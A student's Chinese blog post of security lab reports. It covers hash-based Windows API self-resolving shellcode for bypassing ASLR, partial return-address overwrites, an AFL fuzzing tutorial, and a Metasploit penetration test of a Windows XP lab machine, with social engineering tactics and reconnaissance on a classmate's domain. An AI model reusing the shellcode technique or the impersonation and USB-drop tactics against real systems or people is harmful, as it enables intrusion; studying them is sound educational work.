/* movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx, 7 ; ((循环))右移,不是单纯的 >>7
add edx,eax
inc esi
jmp hash_loop
*/
digest+= *fun_name ; //累加
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("MessageBoxA");
printf("%#x\n",hash);
}

通过上述代码,我们可以获得MessageboxA的hash值。接下来,我们可以在shellcode中通过压栈的方式将这个hash值压入栈中,再通过比较得到动态链接库中的API地址。

完整API函数自搜索代码。首先,基于上述流程找到函数的入口地址;之后,可以编写自己的shellcode,如下面完整代码中的function_call。

完整API函数自搜索代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
#include <windows.h>

int main()
{
__asm
{
CLD //清空标志位DF
push 0x1E380A6A //压入MessageBoxA的hash-->user32.dll
push 0x4FD18963 //压入ExitProcess的hash-->kernel32.dll
push 0x0C917432 //压入LoadLibraryA的hash-->kernel32.dll
mov esi,esp //esi=esp,指向堆栈中存放LoadLibraryA的hash的地址
lea edi,[esi-0xc] //空出8字节应该是为了兼容性
//======开辟一些栈空间
xor ebx,ebx
mov bh,0x04
sub esp,ebx //esp-=0x400
//======压入"user32.dll"
mov bx,0x3233
push ebx //0x3233
push 0x72657375 //"user"
push esp
xor edx,edx //edx=0
//======找kernel32.dll的基地址
mov ebx,fs:[edx+0x30] //[TEB+0x30]-->PEB
mov ecx,[ebx+0xC] //[PEB+0xC]--->PEB_LDR_DATA
mov ecx,[ecx+0x1C] //[PEB_LDR_DATA+0x1C]--->InInitializationOrderModuleList
mov ecx,[ecx] //进入链表第一个就是ntdll.dll
mov ebp,[ecx+0x8] //ebp= kernel32.dll的基地址

//======是否找到了自己所需全部的函数
find_lib_functions:
lodsd //即move eax,[esi], esi+=4, 第一次取LoadLibraryA的hash
cmp eax,0x1E380A6A //与MessageBoxA的hash比较
jne find_functions //如果没有找到MessageBoxA函数,继续找
xchg eax,ebp //------------------------------------> |
call [edi-0x8] //LoadLibraryA("user32") |
xchg eax,ebp //ebp=userl32.dll的基地址,eax=MessageBoxA的hash <-- |

//======导出函数名列表指针
find_functions:
pushad //保护寄存器
mov eax,[ebp+0x3C] //dll的PE头
mov ecx,[ebp+eax+0x78] //导出表的指针
add ecx,ebp //ecx=导出表的基地址
mov ebx,[ecx+0x20] //导出函数名列表指针
add ebx,ebp //ebx=导出函数名列表指针的基地址
xor edi,edi

//======找下一个函数名
next_function_loop:
inc edi
mov esi,[ebx+edi*4] //从列表数组中读取
add esi,ebp //esi = 函数名称所在地址
cdq //edx = 0

//======函数名的hash运算
hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah //字符串结尾就跳出当前函数
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
//======比较找到的当前函数的hash是否是自己想找的
compare_hash:
cmp edx,[esp+0x1C] //lods pushad后,栈+1c为LoadLibraryA的hash
jnz next_function_loop
mov ebx,[ecx+0x24] //ebx = 顺序表的相对偏移量
add ebx,ebp //顺序表的基地址
mov di,[ebx+2*edi] //匹配函数的序号
mov ebx,[ecx+0x1C] //地址表的相对偏移量
add ebx,ebp //地址表的基地址
add ebp,[ebx+4*edi] //函数的基地址
xchg eax,ebp //eax<==>ebp 交换

pop edi
stosd //把找到的函数保存到edi的位置
push edi

popad
cmp eax,0x1e380a6a //找到最后一个函数MessageBox后,跳出循环
jne find_lib_functions

//======让他做些自己想做的事
function_call:
xor ebx,ebx
push ebx
push 0x74736577
push 0x74736577 //push "westwest"
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04] //MessageBoxA(NULL,"westwest","westwest",NULL)
push ebx
call [edi-0x08] //ExitProcess(0);
nop
nop
nop
nop
}
return 0;
}

结果如下图所示:

image-20250102111413548

四. 心得体会

自搜索API是为了绕过ASLR保护,除了自搜索API,对于ASLR缺陷和绕过方法,也学习了部分返回地址覆盖法(off by one)。(看到书上有提及)

查资料——在ASLR中,虽然模块加载基地址发生变化,但是各模块的入口点地址的低字节不变,只有高位变化。对于地址0x12345678,其中5678部分是固定的,如果存在缓冲区溢出,可以通过memcpy对后两个字节进行覆盖,可以将其设置为0x12340000~0x1234FFFF中的任意一个值。如果通过strcpy进行覆盖,因为strcpy会复制末尾的结束符0x00,那么可以将0x12345678覆盖为0x12345600,或者0x12340001 ~ 0x123400FF。部分返回地址覆盖,可以使得覆盖后的地址相对于基地址的距离是固定的,可以从基地址附近找可以利用的跳转指令。

理解来看,映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节没有变化。所以可以通过覆盖后两个字节,在0x0000—0xFFFF的地址空间内寻找跳板,控制EIP,转入payload执行。

实验五:AFL模糊测试工具使用

一. 实验环境

Ubuntu操作系统。

二. 实验目的

  1. 下载并编译AFL;

  2. 基于给定的示例程序或其他自选目标,学习模糊测试过程。

  3. 会分析找到的crash样本。

  4. 理解AFL计算代码覆盖率的原理,样本变异的方法。

三. 实验步骤

AFL是一款基于覆盖引导(Coverage-guided)的模糊测试工具,它通过插桩的方式获取程序代码运行轨迹、记录输入样本引起的被测程序已运行代码的覆盖率,从而调整输入样本以提高代码覆盖率、增加发现漏洞的概率。

AFL主要用于C/C++程序的测试,且不论有无被测程序源码均可以测试:有源码时可以对源码进行编译时插桩,无源码时可以借助QEMU的User-Mode模式进行二进制插桩

其工作流程大致如下:

(1)对待测程序进行插桩(编译时插桩或者二进制插桩),以记录代码覆盖率(code coverage);

(2)选择一些初始输入文件(seed),作为初始测试集加入输入队列(queue);

(3)将队列中的文件按照一定策略进行“突变”(mutate)。在AFL工具中,常用突变方式有按位翻转(bitflip)、整数加/减算术运算(arithmetic)、将特殊内容替换到原文件中(interest)、把自动生成或用户提供的token替换/插入到原文件中(dictionary)、“大破坏”,是前面几种变异的组合(havoc)、“连接”,此阶段会将两个文件拼接起来得到一个新的文件(splice)等;

(4)将突变后的文件输入到被测程序中,如果该文件更新了已运行代码覆盖范围,则将其保留并添加到输入队列中;

(5)上述过程(3)和(4)会一直循环进行,期间触发了被测系统崩溃(crash)的文件会被记录下来。

流程图如下图

image-20250102105642468

1. AFL安装

在Kali 2021系统中,在命令行输入sudo apt-get install afl即可安装。

image-20250102105656772

作用分别为:

  • afl-gcc和afl-g++分别对应的是gcc和g++的封装。
  • afl-clang和afl-clang++分别对应clang的c和c++编译器封装。
  • afl-fuzz****是AFL的主体,用于对目标程序进行模糊测试。
  • afl-analyze可以对用例进行分析,看能否发现用例中有意义的字段。
  • afl-qemu-trace用于qemu-mode,默认不安装,需要手工执行qemu-mode的编译脚本进行编译。
  • afl-plot生成测试任务的状态图。
  • afl-tmin和afl-cmin对用例进行简化。
  • afl-whatsup用于查看fuzz任务的状态。
  • afl-gotcpu用于查看当前CPU 状态。
  • afl-showmap用于对单个用例进行执行路径跟踪。

2. AFL进行模糊测试

前文提到不论是否拥有被测程序的源码,AFL都可以进行测试。其区别在于获得代码覆盖率的插桩方式不同:如果拥有被测程序的源码(称为白盒测试),则在程序编译时进行插桩;如果没有被测程序的源码(称为黑盒测试),则在已经编译好的可执行文件上进行二进制插桩。

1)创建本次实验的程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
char ptr[20];
if(argc>1){
FILE *fp = fopen(argv[1], "r");
fgets(ptr, sizeof(ptr), fp);
}
else{
fgets(ptr, sizeof(ptr), stdin);
}
printf("%s", ptr);
if(ptr[0] == 'd') {
if(ptr[1] == 'e') {
if(ptr[2] == 'a') {
if(ptr[3] == 'd') {
if(ptr[4] == 'b') {
if(ptr[5] == 'e') {
if(ptr[6] == 'e') {
if(ptr[7] == 'f') {
abort();
}
else printf("%c",ptr[7]);
}
else printf("%c",ptr[6]);
}
else printf("%c",ptr[5]);
}
else printf("%c",ptr[4]);
}
else printf("%c",ptr[3]);
}
else printf("%c",ptr[2]);
}
else printf("%c",ptr[1]);
}
else printf("%c",ptr[0]);
return 0;
}

使用AFL的编译器编译待测程序,可以使模糊测试过程更加高效。

编译命令:afl-gcc -o test test.c

test.c源码编译完成后输出名为test的文件,且编译后test中会有插桩符号,使用下面的命令可以验证这一点。

命令:readelf -s ./test | grep afl

image-20250102105745900

2)创建初始测试用例

首先,使用如下命令创建两个文件夹in和out,分别存储模糊测试过程中使用到的输入和输出文件。

命令:mkdir in out

其次,使用如下命令在输入文件夹(in)中创建一个包含字符串“hello”的文件。注意:这里的字符串“hello”仅为我们提供的初始输入,该初始输入可以为任意字符串,如“hell”“hlo”等均可。

命令:echo hello> SS5in/seed

seed就是我们的测试用例,里面包含初步字符串hello。AFL会通过这个种子进行变异,构造更多的测试用例。

image-20250102105800926

3****)启动模糊测试

运行如下命令,开始启动模糊测试。

命令:afl-fuzz -i in -o out – ./test @@

可能出现:

image-20250102105806856

前文中提到,AFL会监视待测程序的crash并将造成crash的输入记录,因此在进行下一步之前,还需要使用如下命令指示系统将coredumps输出为文件以便AFL监视系统运行状态,而不是将它们发送到特定的崩溃处理程序应用程序。

命令:echo core > /proc/sys/kernel/core_pattern

image-20250102105812832

下面对部分经常用于分析的界面内容进行介绍:

·process timing

这里展示了当前模糊测试程序的运行时间(1min6s)、最近一次发现新执行路径(代码覆盖率增加)的时间(15s)、最近一次崩溃的时间(12s)、最近一次超时的时间(无)。

·overall results

这里包括运行的总周期数(115)、总路径数(8)、崩溃次数(1)、超时次数(0)。

其中,总周期数可以用来作为何时停止模糊测试程序的参考。随着不断地fuzzing,周期数会不断增大,其颜色也会由洋红色,逐步变为黄色、蓝色、绿色(这个看上去像是洋红色)。一般来说,当其变为绿色时,代表可执行的内容已经很少了,继续fuzzing下去也不会有什么新的发现了。此时,我们便可以通过快捷键Ctrl+C结束进程,中止当前的fuzzing。

·stage progress

这里包括在测试过程中使用的突变策略(splice 11)、进度(214/384 55.73%)、目标的执行总次数(357k)、目标的执行速度(5366/sec)。执行速度可以直观地反映当前模糊测试工作跑的快不快,速度越快表示在1秒钟之内执行被测程序的数量越多,如果速度过慢,比如低于500次/秒,那么测试时间就会变得非常漫长。如果发生了这种情况,我们需要调整优化我们的fuzzing策略,以提高模糊测试效率。

4)分析crash

观察fuzzing结果,如有crash,则定位、分析引起crash的输入。

crash!!!

image-20250102105821251

在out文件夹下的crashes子文件夹里面是在模糊测试过程中引起被测程序crash的样例,hangs里面是产生超时的样例,queue里面是每个不同执行路径的样例。

通常,在得到crash样例后,分析人员可以将这些样例作为输入重新输入到被测程序,以重新触发被测程序异常并跟踪程序运行状态(如代码执行路径),并进一步分析、定位引起程序崩溃的原因或确认存在的漏洞类型。

其中重新输入并尝试触发被测程序异常是排除当前输入仅是偶然引起报错但是无法复现的情况,如有时与被测程序交互需要通过传输网络数据包的形式,可能由于网络波动造成目标程序异常而意外让模糊测试程序认为是当前输入引起的目标程序异常。

如果多次使用相同输入均能复现目标程序的异常,那么可以认为确实是由该输入引起的crash。

与此同时,并不是所有引起crash的地方都是能够被利用的漏洞,是否能够利用还需要通过分析人员的判断

3.AFL计算代码覆盖率的原理,样本变异的方法

这里有参考文章: [原创]fuzzing原理探究(上):afl,afl++背后的变异算法-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

Afl主要流程如下:

①在从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage)。

②选择一些输入文件作为初始测试集,加入输入队列(queue)。

③对队列中的文件按一定策略进行“突变”。

④如果变异文件扩展了覆盖范围,则将其保留并添加到队列中。

⑤上述过程循环进行,期间触发 crash 的文件会被记录下来。

其主要功能定义在fuzz_one()函数中

fuzz_one(char** argv):获取测试用例并喂给目标程序

image-20250102105910420

根据优胜者机制按概率跳过

image-20250102105917339

调用trim_case():对当前测试用例进行剪枝,以减少无效数据。

image-20250102105925355

calculate_score():计算测试用例得分。根据执行时间、覆盖率、新路径和深度对测试用例评分,确保高潜力的测试用例在变异过程中获得更多机会。

image-20250102105933393

然后进行变异(如bitflip、arithmetic inc/dec等),变异后调用common_fuzz_stuff处理结果。

image-20250102105939339

save_if_interesting():保存有趣的测试用例。检查执行结果是否有趣,即,调用has_new_bits(virgin_bits)来判断是否产生了新的路径元组,若是则保存或加入队列(add_to_queue)。trace_bits指向由全体进程共享的内存区域,其中包含每次样本执行的覆盖率,其实是之后提到的覆盖次数桶的压缩存储。

AFL 会比较当前输入的执行路径与已有路径信息,判断是否发现了“新路径”。如果覆盖了之前未探索的分支,则认为是“有趣的输入”,并将该输入加入种子池。

image-20250102105950864

如果想要统计覆盖率,就需要用到插桩技术,插桩有三种模式:llvm mode,汇编层面插桩,qemu-mode动态插桩。(前两者是静态,第三者动态)

llvm mode——借助LLVM的Pass来更改中间代码表示IR(Intermediate Representation)(编译器或虚拟机内部用于代表源代码的数据结构或代码),从而在编译过程中实现插桩。

汇编层面插桩——在机器语言的环节:128行,在代码块结束处,调用 __afl_maybe_log__函数,而其为探测点(Probe Points)相关汇编代码

image-20250103003809564

该代码插入点为每个代码块开始部分(不同于函数的入口点),基于开始点,这样记录程序执行此处的次数和路径。

对于分支部分的插桩,因为分支数量往往巨大(em一个小函数的在IDA中的分支块也是很多的),这里使用 inst_ratio_str函数来控制分支插桩比例:

image-20250103003824598

(可以看到llvm和汇编方法中都有相关函数)

Eff_map——记录每个字节是否引起了新路径元组的出现,来评估对整个元组的影响。

image-20250103003847537

Ø 如果 byte 尝试所有改变都没有出现新路径,AFL开发者认为这种字节很有可能只是单纯的非元数据,AFL后续会参考eff_map 进行选择性的跳过。接下来每次变异都会检查eff_map中的对应项 ,如果当前字节对应的项为 0 ,则检查变异以后路径是否有新元组产生,如果是则置为 1。

Ø eff_map会将输入测试用例文件小于128字节的情况(EFF_MIN_LEN),认为每个字节都是有效的,而如果一个测试用例,90%的字节都能触发新路径元组,那么AFL会直接把剩余的10%也认为是有效的。
这种做法改善了变异的方向性,使其能够避免过多的无效变异,从而更加专注于有效的变异。

样本变异的方法

AFL 的样本变异方法是模糊测试的核心,通过随机或特定模式对输入样本进行修改,尝试触发程序的未覆盖路径。以下是 AFL 的主要变异方法:

字节翻转(Bit Flipping):

    • 对输入数据的某些比特位进行翻转操作,这里**_ar传入需要进行位翻转操作的字节数组指针,_b**则是要翻转的位置。
    • 例如:00000001 → 00000000 或 00000011。
    • image-20250103003908503
    • 这里是一些定义模式:image-20250103003923514
  1. 字节替换(Byte/Substitution Mutation)

  2. 整数边界测试(Arithmetic Mutation)

  3. 插入和删除(Insertion/Deletion)

  4. 字节块复制(Block Duplication)

  5. 字节块移位(Block Shuffling)

  6. 拼接变异(Splicing Mutation)

  7. 特定模式插入(Special Pattern Injection)

  • 这里还要提到fuzz过程中,fork操作:

Execve执行需要执行系统终端、系统调用、载入目标文件和库、解析符号地址等操作,如果每次使用execve非常消耗性能。所以afl使用fork服务器机制来减少系统调用次数。Fuzzer和fork的服务器通信、fuzzer和目标进程通过管道通信,目标进程准备好后通知fuzzer开始fork

image-20250103004052352

四. 心得体会

在搜索相关资料的过程中,我还发现了一个好玩的——Lcov 对 AFL-Fuzz 进行覆盖率可视化分析

使用 lcov –directory . –capture –output-file test.info 产生 info 文件,再使用genhtml -o results test.info,产生覆盖率可视化文件:

image-20250102110008506

image-20250102110018396

AFL++整合了 AFL 的各类插件,实现兼容性、性能和变异能力的提升,并改进了遗传算法中变异的自定义方案,方便研究人员进行二次开发。

可以研究一下afl++

实验六:渗透测试实验

一. 实验环境

目标主机Windows XP系统。测试主机Linux环境。测试主机中安装Metasploit渗透测试工具和Nessus漏洞扫描工具。

二. 实验目的

\1. 理解渗透测试的定义和主要步骤。

\2. 了解漏洞扫描。

\3. 了解渗透测试。

三. 实验步骤

理解渗透测试的定义和主要步骤。

有一种说法是将渗透测试分为收集、扫描、漏洞利用和后维持攻击四个阶段,而已被安全业界领军企业所采纳的渗透测试执行标准(PTES: Penetration Testing Execution Standard)对渗透测试过程进行了标准化。PTES标准中定义的渗透测试过程环节基本上反映了安全业界的普遍认同,具体包括7个阶段。该标准项目网站的网址为:http://www.pentest-standard.org/。

1. 前期交互阶段

在前期交互(Pre-Engagement Interaction)阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。

2. 情报搜集阶段

在目标范围确定之后,将进入情报搜集(Information Gathering)阶段,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。

渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。

假设你是在一家安全公司工作的道德渗透测试员,你老板跑到你办公室,递给你一张纸,说”我刚跟那家公司的CEO在电话里聊了聊。他妥我派出最好的员工给他们公司做渗透测试一一这事得靠你了。一会儿法律部会给你发封邮件,确认我们已经得到相应的授权和保障。”然后你点了点头,接下这项任务。老板转身走了,你翻了翻丈件,发现纸上只写了公司的名字, Syngress 。这家公司你从来没听过,手头也没有其他任何信息。怎么办?

信息收集是渗透测试中最重要的一环。在收集目标信息上所花的时间越多,后续阶段的成功率就越高。具有讽刺意味的是,这一步骤恰恰是当前整个渗透测试方提体系中最容易被忽略、最不被重视、最易受人误解的一环。

若想要信息收集工作能够顺利进行,必须先制定策略。几乎各种信息的收集都需要借助互联网的力量。典型的策略应该同时包含主动和被动的信息收集:

(1)主动信息收集:包括与目标系统的直接交互。必须注意的是,在这个过程中,目标可能会记录下我们的IP 地址及活动。

(2)被动信息收集:则利用从网上获取的海量信息。当执行被动信息收集的时候,我们不会直接与目标交互,因此目标也不可能知道或记录我们的活动。

信息收集的技巧很多,除了纯技术性工具及操作外,社会工程学不得不提。不谈社会工程学的话,信息收集是不完整的。许多人甚至认为社会工程学是信息收集最简单、最有效的方怯之一。

社会工程学是攻击“人性”弱点的过程,而这种弱点是每个公司天然固有的。当使用社会工程学的时候,攻击者的目标是找到一个员工,并从他口中撬出本应是保密的信息。

假设你正在针对某家公司进行渗透测试。前期侦察阶段你已经发现这家公司某个销售人员的电子邮箱。你很清楚,销售人员非常有可能对产品问询邮件进行回复。所以用匿名邮箱对他发送邮件,假装对某个产品很感兴趣。

实际上,你对该产品并不关心。发这封邮件的真正目的是希望能够得到该销售人员的回复,这样你就可以分析回复邮件的邮件头。该过程可以使你收集到这家公司内部电子邮件服务器的相关信息。

接下来我们把这个社会工程学案例再往前推一步。假设这个销售人员的名字叫Ben Owned。(这个名字是根据对公司网站的侦察结果以及他回复邮件里的落款了解到的。〉假设在这个案例中,你发出产品问询邮件之后,结果收到一封自动回复的邮件,告诉你Ben Owned “目前正在海外旅游,不在公司”以及“接下来这两周只能通过有限的途径查收邮件”。

最经典的社会工程学的做法是冒充Ben Owned 的身份给目标公司的网络支持人员打电话,要求协助重置密码,因为你人在海外,无法以Web 方式登录邮箱。运气好的话,技术人员会相信你的话,帮你重置密码。如果他们使用相同的密码,你就不但能够登录Ben Owned 的电子邮箱,而且能通过VPN 之类的网络资源进行远程访问,或通过FTP 上传销售数据和客户订单。

社会工程学跟一般的侦察工作一样,都需要花费时间进行钻研。不是所有人都适合当社会工程学攻击者的。想要获得成功,你首先得足够自信、对情况的把握要到位,然后还得灵活多变,随时准备“开溜”。如果是在电话里进行社会工程学攻击,最好是手头备好各种详尽、清楚易辨的信息小抄,以免被问到一些不好回答的细节。

另外一种社会工程学攻击方陆是把优盘或光盘落在目标公司里。优盘需要扔到目标公司内部或附近多个地方,例如停车场、大厅、厕所或员工办公桌等,都是“遗落”的好地方。大部分人出于本性,在捡到优盘或光盘之后,会将其插入电脑或放进光驱,查看里面是什么内容。而这种情况下,优盘和光盘里都预先装载了自执行后门程序,当优盘或光盘放入电脑的时候,就会自动运行。后门程序能够绕过防火墙,并拨号至攻击者的电脑,此时目标暴露无遗,攻击者也因此获得一条进入公司内部的通道。

3. 威胁建模阶段

在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。

大部分情况下,就算是小规模的侦察工作也能收获海量数据。信息收集过程结束之后,对目标应该就有了十分清楚的认识,包括公司组织构架,甚至内部部署的技术。

4. 漏洞分析阶段

在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。

在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。

5. 渗透攻击阶段

渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。

渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现。

6. 后渗透攻击阶段

后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。

与渗透攻击阶段的区别在于,后渗透攻击更加重视在渗透进去目标之后的进一步的攻击行为。后渗透攻击主要支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。

7. 报告阶段

渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。

第一步:漏洞扫描

使用nmap发现存活主机:
image-20250102141241840

端口扫描:

image-20250102141356979

指纹探测:
image-20250102141505796

是win XP

在进行渗透测试之前,需要进行漏洞扫描。 Nessus提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus可同时在本机或远端上遥控,进行系统的漏洞分析扫描。

img

第二步:启动Metasploit渗透攻击

Metasploit是一个开源的渗透测试框架软 件,也是一个逐步发展成熟的漏洞研究与渗透代码开发平台,支持整个渗透测试过程的安全技术集成开发与应用环境。

img

img

点入第四个混合漏洞

img

MS06-040

Vulnerability in Server Service Could Allow Remote Code Execution :

img

在msf中找找

img

装载并配置:

img

没打通:

img

查了一下原因,在尝试匿名SMB登录时,被拒绝了

img
更换其他的攻击模块:

MS03_026

img

img

攻击:

img

攻击成功:
img

img

四. 心得体会

了解了一下ms03_026这个漏洞:

CVE-2003-0352漏洞,该漏洞由lds-pl.net研究组于2003年发现,影响包括Windows XP、Windows NT、Windows 2003等在内的多个微软操作系统版本。

漏洞源于微软RPC框架在处理TCP/IP信息交换过程中的畸形消息时未能正确处理,导致缓冲区溢出

攻击目标:使用DCOM接口的Windows RPC 服务器

微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象**请求,如UNC路径

想按照上课讲的看看我队友的站:h@ck

被动信息收集:

现在已知域名:https://wz0beu.cn/

搜索引擎:

image-20250102135329079

Site指令:

IP地址查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Users\lenovo>ping www.wz0beu.cn

正在 Ping www.wz0beu.cn [124.223.53.252] 具有 32 字节的数据:
来自 124.223.53.252 的回复: 字节=32 时间=30ms TTL=113
来自 124.223.53.252 的回复: 字节=32 时间=30ms TTL=113
来自 124.223.53.252 的回复: 字节=32 时间=29ms TTL=113
来自 124.223.53.252 的回复: 字节=32 时间=30ms TTL=113

124.223.53.252 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 29ms,最长 = 30ms,平均 = 29ms


CDN(Content Delivery Network,即内容分发网络)基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。所以上面得到的IP不是真实web服务器的IP地址

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\lenovo>ping wz0beu.cn

正在 Ping wz0beu.cn [101.42.90.91] 具有 32 字节的数据:
来自 101.42.90.91 的回复: 字节=32 时间=9ms TTL=115
来自 101.42.90.91 的回复: 字节=32 时间=9ms TTL=115
来自 101.42.90.91 的回复: 字节=32 时间=10ms TTL=115
来自 101.42.90.91 的回复: 字节=32 时间=10ms TTL=115

101.42.90.91 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 9ms,最长 = 10ms,平均 = 9ms

去掉www,可以得到真实IP

whois信息收集:

img

当然这个也能搜:wz0beu.cn的Whois信息 - 站长工具

DNS信息收集:

image-20250102140150774

主动信息收集:

端口扫描:
指纹探测:

image-20250102141902324

Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device

web指纹探测:

这里是一些常见的错误页面:

Apache:

apache 错误页面 的图像结果

IIS:

IIS报错

Nginx

nginx

xp:

image-20250102142837164


文章作者: W3nL0u
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 W3nL0u !
  目录